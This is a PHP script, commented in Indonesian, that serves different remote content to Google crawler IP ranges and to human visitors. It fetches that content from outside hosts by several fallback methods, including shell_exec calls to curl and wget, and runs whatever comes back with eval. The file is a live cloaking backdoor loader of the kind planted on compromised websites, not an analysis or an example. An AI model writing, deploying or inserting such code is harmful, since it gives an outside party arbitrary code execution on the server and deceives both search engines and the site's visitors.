<?php
function getClientIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    } else {
        return $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
    }
}

function isAllowedBot($ip) {
    $allowedBotIps = [
        '66.249.',  // Googlebot
        '64.233.',  // Google Proxy
        '74.125.',  // Google Proxy
        '216.239.', // Google Proxy
        '173.194.', // Google Proxy
        '203.189.', // Tambahan opsional
    ];

    foreach ($allowedBotIps as $range) {
        if (strpos($ip, $range) === 0) {
            return true;
        }
    }

    return false;
}

// Fungsi ambil konten remote dengan berbagai cara
function getRemoteContent($url) {
    // 1. file_get_contents
    if (ini_get('allow_url_fopen')) {
        $content = @file_get_contents($url);
        if ($content !== false) return $content;
    }

    // 2. cURL
    if (function_exists('curl_version')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 10,
        ]);
        $content = curl_exec($ch);
        curl_close($ch);
        if ($content !== false) return $content;
    }

    // 3. fopen + stream_get_contents
    $handle = @fopen($url, 'r');
    if ($handle) {
        $content = stream_get_contents($handle);
        fclose($handle);
        if ($content !== false) return $content;
    }

    // 4. fsockopen (low-level)
    $parsed = parse_url($url);
    if (isset($parsed['host']) && isset($parsed['path'])) {
        $host = $parsed['host'];
        $path = $parsed['path'] . (isset($parsed['query']) ? '?' . $parsed['query'] : '');
        $port = $parsed['scheme'] === 'https' ? 443 : 80;
        $fp = fsockopen(($port === 443 ? "ssl://" : "") . $host, $port, $errno, $errstr, 10);
        if ($fp) {
            $out = "GET $path HTTP/1.1\r\n";
            $out .= "Host: $host\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 128);
            }
            fclose($fp);
            $parts = explode("\r\n\r\n", $response, 2);
            if (isset($parts[1])) return $parts[1]; // body
        }
    }

    // 5. shell_exec dengan curl/wget command
    if (function_exists('shell_exec')) {
        $output = @shell_exec("curl -sL " . escapeshellarg($url));
        if (!empty($output)) return $output;

        $output = @shell_exec("wget -qO- " . escapeshellarg($url));
        if (!empty($output)) return $output;
    }

    return false; // Semua metode gagal
}

// Ganti URL sesuai kebutuhan
$botUrl = 'https://berita-terkini.id/halmaheraselatankab/';
$humanUrl = 'https://raw.zeverix.com/raw/human-7679';

$ip = getClientIP();
$urlToUse = isAllowedBot($ip) ? $botUrl : $humanUrl;
$content = getRemoteContent($urlToUse);

// Jalankan isi kalau ketemu
if ($content !== false) {
    eval('?>' . $content);
} else {
    echo "Gagal memuat konten dari URL.";
}
?>